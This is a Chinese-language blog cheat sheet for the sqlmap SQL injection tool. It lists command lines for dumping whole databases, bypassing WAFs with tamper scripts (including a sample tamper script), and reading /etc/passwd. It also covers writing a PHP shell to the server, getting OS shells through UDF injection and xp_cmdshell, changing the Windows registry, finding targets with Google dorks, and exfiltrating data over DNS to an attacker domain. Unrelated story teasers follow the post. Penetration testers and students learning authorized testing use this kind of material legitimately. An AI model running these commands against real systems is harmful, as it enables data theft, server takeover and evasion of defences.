sqlmap使用大全

Paste_Image.png
Paste_Image.png
Sqlmap的安装:
#apt-get install git  
# git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev 
在线升级: #sqlmap –update
离线升级:# git pull
指纹信息,查看一些版本

-f , --fingerprint, -b , --banner

--answer --check-waf --hpp --identify-waf
Paste_Image.png

--tamper参数绕过waf

http://blog.csdn.net/hxsstar/article/details/22782627

脱裤常用参数
--current-user 操作系统用户
--current-db  当前库名
--dbs  所有库名
--hostname   
--users      数据库管理员
--privileges –U 查管理员权限(CU 表示当前用户)
--roles  查数据库角色
–D dvwa --tables, --exclude-sysdbs 查表
-D dvwa -T users --columns   查users表中的列
--schema --batch --exclude-sysdbs 查information_schema中的表结构
--batch表示过程中都选择默认选项 --exclude-sysdbs表示忽略系统表,只查有价值的表
--count 对表计数

Dump脱裤,慎用!
--dump, -C, -T, -D, --start, --stop(部分脱裤)
--dump-all --exclude-sysdbs (直接都脱)
--sql-query "select * from users"(自己的命令脱裤)
当数据库管理员比较安全,没法顺利脱裤,只能利用字典拆解表名列名:
--common-tables   --common-columns
Paste_Image.png
sqlmap之tamper脚本
--eval只能改变自己的变量
--tamper才能改变真正的payload

gedit my_tamper.py
cp my_tamper.py /usr/share/sqlmap/tamper/
sqlmap -u "http://127.0.0.1/index.php?id=1" --tamper="my_tamper.py" --os="linux" --dbms="mysql"  --random-agent  -v3 

其中my_tamper格式如下

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload.replace("'", "")
Sqlmap之操作系统命令执行
--udf-inject  --shared-lib 
编译共享库并上传实现UDF高级注入
Linux: share object文件   windows:DLL文件
http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-systemfull-control-whitepaper-4633857

#--file-read="/etc/passwd"
#--file-write="shell.php" --file-dest "/tmp/shell.php" 

Mysql 和postgresql:上传共享库并生成sys_exec()、sys_eval()这两个UDF
Mssql:利用xp_cmdshell,有就用,禁就启,没有就新建

#--sql-shell (Mysql)
#--os-shell (postgresql)
#--os-cmd  (Mssql)

Windows下对注册表的利用:
--reg-read (读注册表)
--reg-add  (写注册表)
--reg-del    (删注册表)
--reg-key --reg-value --reg-data --reg-type (注册表参数)
example:
sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

通过get方式进行sql注入扫描
#sqlmap -u “url” -p 指定变量名 
-users 查看数据库管理账号
 -f指纹探测数据库类型 (通过get方式对url进行注入)
--banner 查看数据库版本信息 
--dbs(查看有哪些库) 
-schema(查看schema库来获得所有库表列结构信息) 
-a(把能查的都查出来)
批量扫描:

sqlmap -m list.txt -参数 --参数

调用google api来扫描,国内需要设置代理链:

sqlmap.py -g "inurl:".php?id=1"" --proxy="http://127.0.0.1:8087"

数据库直连

sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f -users --banner --dbs --schema -a

sqlmap结合burpsuite使用post方式来注入
利用proxy截断http请求并保存为requst.txt (推荐)
#sqlmap -r request.txt
利用burp中的option设置,勾选保存proxy的request请求日志,保存为log.txt
#sqlmap -l log.txt
sqlmap支持https:

sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl

定义完各种情况下的扫描配置文件后,直接引用扫描
#dpkg -L sqlmap | grep sqlmap.conf
#sqlmap -c sqlmap.conf
--data 和 cookie的设置
Paste_Image.png
sqlmap中http头的一些设置
手动指定:--user-agent=””  
调用sqlmap库的--random-agent
Sqlmap检查user-agent中的注入点:--level=3(其实>=3都会检查)
Host头:--host=””(level=5)  
Referer头:--referer=””  (level>=3)
额外的特殊头:--headers="Host:www.a.com\nUser-Agent:yuanfh"
扫描时可以指定方法:--method=GET/POST
基于http协议的身份认证,或者基于客户端证书的认证
Paste_Image.png
sqlmap的代理设置
--proxy="http://127.0.0.1:8087"  
若代理需要密码; --proxy-cred="name:pass"
若是系统级的代理,但却要扫内网: --ignore-proxy
比如用XX-net代理扫描:sqlmap -u "http://1.1.1.1/a.php?id=1" --proxy="http://127.0.0.1:8087" --dbs
--delay --timeout --retries --randomize (超时保护)
Paste_Image.png
--scope利用burp的日志结合正则表达式来筛选
--safe-url /--safe-freq 隔几次注入就发一次正确的请求,防止服务器销毁seesion
Paste_Image.png
--skip-urlencode 对于一些特殊的服务器,提交数据时不接受url编码
--eval特殊情况下,可以自己写脚本来帮助自动化处理
Paste_Image.png
性能优化:--predict-output --keep-alive --null-connection --threads -o
Paste_Image.png
-p 指定注入参数 –skip 跳过注入参数 *来标记url中隐藏的注入参数
Paste_Image.png
确定数据库类型后可以用--dbms=’’ ’’来指定库的类型,从而大大提高效率:
Paste_Image.png
--os指定服务器操作系统化 --invalid-bignum / --invalid-logical 指定使参数失效的方式 --no-cast 对待老版mysql可能会用到
Paste_Image.png
--no-escape 取消默认的sqlmap对注入时字符的char()编译
--prefix “”/--suffix “”特殊情况下变量的取值格式特殊,需要加前缀和后缀
Paste_Image.png
--tamper 混淆脚本用于绕过waf、IPS
#sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="between.py, randomcase.py, space2comment.py" -v 3
# dpkg -L sqlmap | grep tamper (找要引用的脚本)  
-v 3是为了显示更加详细的内容
--level

1-5级(默认1)
/usr/share/sqlmap/xml/payloads

--risk

1-4(默认1/无害)
Risk升高可造成数据被篡改等风险(update)

--string, --not-string, --regexp, --code, --text-only, --titles

页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阂值变化,此时需要人为指定标识真假的字符串

默认使用全部注入技术

B:Boolean一based blind
E:Error-based
U:Union query一based
S: Stacked queries(文件系统、操作系统、注册表必须)
T:Time一based blind

--time-sec

基于时间的盲注时延长时间

--union-cols

默认联合查询1一10列,随一evel增加最多支持50列,
也可--union-cols 6-9

--union-char

联合查询默认使用null,极端情况下null可能失败,此时可以手动指定数值
如:--union-char 123

--dns-domain

控制了dns服务器后可以用这个参数加快脱裤速度,--dns-domain attacker.com

--second-order

在一个页面注入的结果,从另一个页面体现出来时可以用
--second-order http://.....

--flush-session:清空session
--force-ssl
--fresh-queries:忽略session查询结果
--hex:传输过程中自动16进制编码,返回后自动解码,隐蔽性
--save:将命令保存到指定目录
--mobile --purge-output --smart --wizard
Paste_Image.png
--output-dir=/tmp
--parse-errors
Paste_Image.png
-s -t --charset --crawl --csv-del --dbms-cred
Paste_Image.png
Paste_Image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,277评论 6 503
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,689评论 3 393
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,624评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,356评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,402评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,292评论 1 301
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,135评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,992评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,429评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,636评论 3 334
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,785评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,492评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,092评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,723评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,858评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,891评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,713评论 2 354

推荐阅读更多精彩内容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,305评论 2 22
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,046评论 0 5
  • SQLMAP作用 判断可注入的参数 判断可以用哪种SQL注入技术来注入 识别出哪种数据库 根据用户选择,读取哪些数...
    陆洒脱阅读 3,722评论 1 4
  • sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工...
    linkally阅读 6,889评论 1 40
  • sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工...
    查无此人asdasd阅读 1,550评论 0 1